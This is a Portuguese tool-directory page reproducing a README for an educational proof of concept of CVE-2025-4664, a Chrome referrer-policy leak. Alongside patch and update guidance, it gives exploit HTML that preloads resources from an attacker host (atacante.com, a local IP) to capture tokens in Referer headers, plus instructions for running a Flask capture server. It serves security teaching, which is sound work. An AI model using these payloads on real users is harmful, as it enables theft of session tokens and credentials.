Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-4664 — Demonstração educacional do CVE-2025-4664, uma vulnerabilidade do Chrome Loader que permite vazamento de dados entre origens por meio de manipulação da política de referenciador (referrer-policy). Inclui uma página HTML da vítima e um servidor Flask do invasor para simulação prática de exploração. | Kitploit
Ferramentas/GitHubGitHub/speinador/cve-2025-4664
Análise de VulnerabilidadesExploraçãoColeta de InformaçõesPhishingSegurança WebAprendizado e Educação
GitHubspeinador/cve-2025-4664

CVE-2025-4664

Ver Repositório
4há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Demonstração educacional do CVE-2025-4664, uma vulnerabilidade do Chrome Loader que permite vazamento de dados entre origens por meio de manipulação da política de referenciador (referrer-policy). Inclui uma página HTML da vítima e um servidor Flask do invasor para simulação prática de exploração.

Compartilhar

🔒 Vulnerabilidade CVE-2025-4664

A vulnerabilidade CVE-2025-4664 é uma falha de segurança de alta gravidade identificada no componente Loader do Google Chrome, presente em versões anteriores à 136.0.7103.113. Este problema permite que um atacante remoto filtre dados de origem cruzada através de uma página HTML especialmente projetada, o que pode comprometer informações sensíveis como tokens de sessão ou credenciais de autenticação.


❓ Em que consiste a vulnerabilidade?

A falha reside em uma implementação inadequada das políticas de segurança no componente Loader do Chrome. Especificamente, o Chrome interpreta a diretiva referrer-policy dentro do cabeçalho HTTP Link em solicitações de subrecursos (como imagens ou scripts), mesmo quando outros navegadores não o fazem. Um atacante pode aproveitar isso configurando uma política menos restritiva, como unsafe-url, o que faz com que o Chrome filtre URLs completas, incluindo parâmetros sensíveis, para domínios controlados pelo atacante.


⚠️ Impacto e exploração ativa

Esta vulnerabilidade foi explorada ativamente em ambientes reais, o que levou a Agência de Cibersegurança e Segurança de Infraestrutura dos EUA (CISA) a incluí-la em seu Catálogo de Vulnerabilidades Conhecidas e Exploradas (KEV). A CISA estabeleceu o dia 5 de junho de 2025 como prazo para que as agências federais apliquem as correções correspondentes.


🛡️ Mitigação e recomendações

O Google lançou atualizações para corrigir esta vulnerabilidade nas seguintes versões:

  • 🖥️ Windows e Mac: 136.0.7103.113/.114
  • 🐧 Linux: 136.0.7103.113

Recomenda-se fortemente que todos os usuários atualizem seu navegador Chrome para a versão mais recente disponível. Para verificar e aplicar a atualização:

  1. 🔍 Abra o Chrome e clique no menu de três pontos no canto superior direito.
  2. ⚙️ Selecione "Ajuda" e depois "Informações do Google Chrome".
  3. ⬇️ O Chrome buscará atualizações automaticamente e as instalará se estiverem disponíveis.
  4. 🔄 Após a atualização, reinicie o navegador para aplicar as alterações.

Além disso, usuários de navegadores baseados em Chromium, como Microsoft Edge, Brave, Opera e Vivaldi, devem ficar atentos às atualizações correspondentes, pois podem ser afetados por esta vulnerabilidade.

Manter o navegador atualizado é essencial para se proteger contra ameaças de segurança ativas e salvaguardar as informações pessoais.


🕵️‍♂️ Como é explorada?

A vulnerabilidade CVE-2025-4664 é explorada manipulando a forma como o Google Chrome lida com a política de referência (referrer-policy) ao carregar subrecursos (como imagens, scripts, etc.) de links HTML.


⚙️ Como é explorada tecnicamente:

  1. 🌐 Criação de um site malicioso:
    O atacante cria um site que inclui um link HTML como este em seu cabeçalho HTTP:

    root@kitploit:~
    <link rel="preload" as="image" href="https://victima.com/imagem.jpg" referrerpolicy="unsafe-url">
    
  2. 🔧 Manipulação do referrer-policy:
    Na maioria dos navegadores, esse referrerpolicy na tag <link> não é aplicado para o recurso carregado. No entanto, o Chrome o aplica, o que é o núcleo do problema.

  3. 📤 Filtragem do Referer:
    Quando o navegador da vítima (Chrome) carrega o recurso de victima.com, ele envia toda a URL do site de origem como cabeçalho Referer, o que pode incluir:

    • Tokens de sessão (?token=ABC123)
    • Parâmetros sensíveis (?user=admin&password=1234)
    • URLs privadas
  4. 🎯 Recepção no servidor do atacante:
    O atacante pode colocar como destino do recurso uma URL sob seu controle, por exemplo:

    root@kitploit:~
    <link rel="preload" as="image" href="https://atacante.com/captura.jpg" referrerpolicy="unsafe-url">
    

    Quando a vítima acessa este recurso, o Chrome envia sua URL completa como Referer para o servidor do atacante.

  5. 🕵️ Roubo de informação:
    O servidor do atacante registra os cabeçalhos HTTP e obtém o conteúdo completo da URL da vítima. Isso pode incluir dados confidenciais, tokens de acesso ou até mesmo URLs de APIs internas.

✔️ Condições necessárias para funcionar:

  • 👤 A vítima usa Google Chrome sem patch.
  • 🔑 O site da vítima inclui informação sensível na URL (como tokens de autenticação).
  • 🎣 O atacante faz o navegador da vítima carregar um recurso de seu domínio (por exemplo, via phishing, um anúncio malicioso ou um redirecionamento).

🧪 Exemplo prático do ataque (simplificado):

  1. O atacante envia à vítima um link para:
    root@kitploit:~
    https://atacante.com/pagina-maliciosa.html
    
  2. Nessa página é carregado algo como:
    root@kitploit:~
    <link rel="preload" as="image" href="https://victima.com/perfil?token=ABC123" referrerpolicy="unsafe-url">
    
  3. O navegador Chrome envia:
    root@kitploit:~
    Referer: https://victima.com/perfil?token=ABC123
    
    para o domínio atacante, expondo o token.

Foto de perfil

Arquivos do projeto

🖥️ index.html — Arquivo vítima

Este arquivo simula a vítima do ataque, é uma demo em HTML simplificada para mostrar como a vulnerabilidade CVE-2025-4664 pode ser explorada usando uma tag maliciosa:

  • Representa a interface vulnerável.
  • É usado para demonstrar como a vulnerabilidade funciona em um ambiente controlado.
  • Contém elementos que o atacante pode explorar conforme CVE-2025-4664.
root@kitploit:~
<!DOCTYPE html>
<html lang="pt">
<head>
  <meta charset="UTF-8">
  <title>Demo CVE-2025-4664</title>

  <!-- Este recurso aponta para um site da vítima com informação sensível na URL -->
  <link rel="preload" as="image"
        href="https://victima.com/perfil?token=ABC123"
        referrerpolicy="unsafe-url">
</head>
<body>
  <h1>Demonstração da vulnerabilidade CVE-2025-4664</h1>
  <p>Se você estiver usando uma versão vulnerável do Chrome, o navegador enviará o <strong>Referer completo</strong> para a URL acima.</p>
</body>
</html>

O que este código faz:

  • A tag <link> está configurada para pré-carregar uma imagem de victima.com com um token na URL.
  • Com referrerpolicy="unsafe-url", o Chrome enviará toda a URL da página atual como Referer para o domínio vítima.
  • Um atacante pode capturar essa URL completa em seus logs se a imagem apontar para seu próprio servidor.

🐍 servidor_atacante.py — Arquivo atacante

Com este script é possível automatizar o ataque para capturar os Referer usando um pequeno servidor em Python. Aqui está um exemplo utilizando Flask para simular o servidor do atacante que recebe os dados:

  • Simula o ataque contra a vítima representada por index.html.
  • Implementa as técnicas descritas na vulnerabilidade.
  • É usado para testar e validar a mitigação implementada.

Como usar:

  1. Salve esse código como servidor_atacante.py.
  2. Instale o Flask se não tiver:
root@kitploit:~
pip install flask
  1. Execute o servidor:
root@kitploit:~
python servidor_atacante.py
  1. Em seguida, modifique a demo HTML assim:
root@kitploit:~
<link rel="preload" as="image"
      href="http://<seu_IP>:8080/captura.jpg"
      referrerpolicy="unsafe-url">

Substitua <seu_IP> pelo IP público ou local do servidor que executa o script.


💪 Como usar o projeto

🛠️ 1. Executar o servidor Flask

  1. Abra um terminal (PowerShell ou CMD).

  2. Navegue até a pasta do arquivo:

root@kitploit:~
cd "C:\Users\Sebas\Desktop\servidor_atacante"
  1. Execute o Flask:
root@kitploit:~
python servidor_atacante.py
  1. Você verá algo como:
root@kitploit:~
* Running on http://127.0.0.1:8080
* Running on http://192.168.1.35:8080

🌐 2. Criar e abrir index.html (simulando vítima)

Na mesma pasta (C:\Users\Sebas\Desktop\servidor_atacante), crie um arquivo chamado index.html com este conteúdo:

root@kitploit:~
<!DOCTYPE html>
<html lang="pt">
<head>
  <meta charset="UTF-8">
  <title>Demo CVE-2025-4664</title>

  <!-- Simula o ataque -->
  <link rel="preload" as="image"
        href="http://192.168.1.35:8080/captura.jpg"
        referrerpolicy="unsafe-url">
</head>
<body>
  <h1>Simulação CVE-2025-4664</h1>
  <p>Este HTML tenta filtrar a URL completa (incluindo o token) para o atacante.</p>
</body>
</html>

✅ Importante: Certifique-se de que o IP (192.168.1.35) coincida com o que o Flask exibe como IP local. Se for diferente, altere-o no HTML.

🚀 3. Abrir index.html com parâmetro sensível

  1. Abra o Chrome.

  2. Na barra de endereços, digite:

root@kitploit:~
file:///C:/[Pasta destino]/servidor_atacante/index.html?token=ABC123
  1. Pressione Enter.

  2. 📥 Ver o resultado no servidor No console do Flask você deve ver algo como:

root@kitploit:~
[+] Referer recebido: file:///C:/[Pasta destino]/servidor_atacante/index.html?token=ABC123

[Pasta destino]: Modificar este parâmetro para o local onde temos salvo o arquivo.

🎯 Isso significa que o navegador enviou o Referer completo para o atacante!


🧑‍🏫 Autor

Explicação elaborada por Sebastian Peinador para fins didáticos e de pesquisa em cibersegurança ofensiva.


📄 Licença

Este material é distribuído sob a licença MIT.


Se for útil, não esqueça de dar ⭐ ao repositório ou compartilhá-lo!

Baixar ferramenta